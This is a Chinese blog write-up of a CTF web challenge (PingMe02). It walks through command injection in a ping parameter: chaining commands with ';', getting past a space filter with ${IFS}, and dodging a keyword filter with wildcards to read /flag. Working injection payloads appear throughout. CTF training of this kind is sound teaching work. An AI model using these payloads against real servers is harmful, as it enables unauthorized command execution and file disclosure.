经典ctf ping题目详解 青少年CTF-WEB-PingMe02

作者 : admin 本文共1038个字,预计阅读时间需要3分钟 发布时间: 2023-11-18 共3人阅读

题目环境:
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图

根据题目名称可知
这是一道CTF-WEB方向常考的知识点:ping地址

随便ping一个地址
查看接受的数据包
?ip=0.0.0.0
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(1)

有回显数据,尝试列出目录文件
堆叠命令使用’;’作为命令之间的连接符,当上一个命令完成后,继续执行下一个命令

使用堆叠命令
列出此目录下的文件
?ip=0.0.0.0;ls
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(2)

ls是Linux系统里面的列出目录文件的命令
索性ls没有被过滤

查看隐藏文件
?ip=0.0.0.0;ls -a
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(3)

space空格被过滤了

使用IFS绕过空格

IFS是Linux里面的环境变量,是其内部字段分隔符
可通过${IFS}绕过空格
$IFS$1-n(n>0的正整数)也可绕过空格

?ip=0.0.0.0;ls${IFS}-a
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(4)

成功绕多空格
这里猜测没在根目录下,所以才没发现flag

查看当前路径
?ip=0.0.0.0;pwd
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(5)

pwd是Linux系统里面查看当前目录/路径的命令
/var/www/html
可知现在是在html目录下
去看’/’根目录下是否有flag的存在

查看根目录下的文件
?ip=0.0.0.0;ls${IFS}/
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(6)

发现根目录下存在flag文件

查看根目录下flag文件的内容
?ip=0.0.0.0;cat${IFS}/flag
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(7)

cat是Linux系统里面最常见的查看文件内容的命令
这里可以使用其它查看文件内容的命令
less、more、nl等等

使用less查看flag内容
?ip=0.0.0.0;less${IFS}/flag
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(8)

flag被过滤
可使用f*和f???进行绕过(注:f后边有几个字符就用几个?进行代替)
代表f开头的文件
因为f开头的文件只有flag这一个文件,所以查的就是flag

?ip=0.0.0.0;less${IFS}/f*
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(9)
?ip=0.0.0.0;less${IFS}/f???
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(10)
使用more查看flag内容
?ip=0.0.0.0;more${IFS}/f*
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(11)
?ip=0.0.0.0;more${IFS}/f???
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(12)
使用nl查看flag内容
?ip=0.0.0.0;nl${IFS}/f*
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(13)
?ip=0.0.0.0;nl${IFS}/f???
经典ctf ping题目详解 青少年CTF-WEB-PingMe02插图(14)
得到flag:
qsnctf{3c6173ea-c3e2-4a49-858b-e9897e69cee3}

当然Linux系统查看文件内容的命令还有很多,这里就举着三个例子了
如果想效率更更高,我们还可以自己生成Linux常见列出目录文件和查看文件等命令和常用字符以及关键字的字典,并使用BurpSuite进行爆破查看那个命令和字符以及关键字的过滤情况

本站无任何商业行为
个人在线分享 » 经典ctf ping题目详解 青少年CTF-WEB-PingMe02
E-->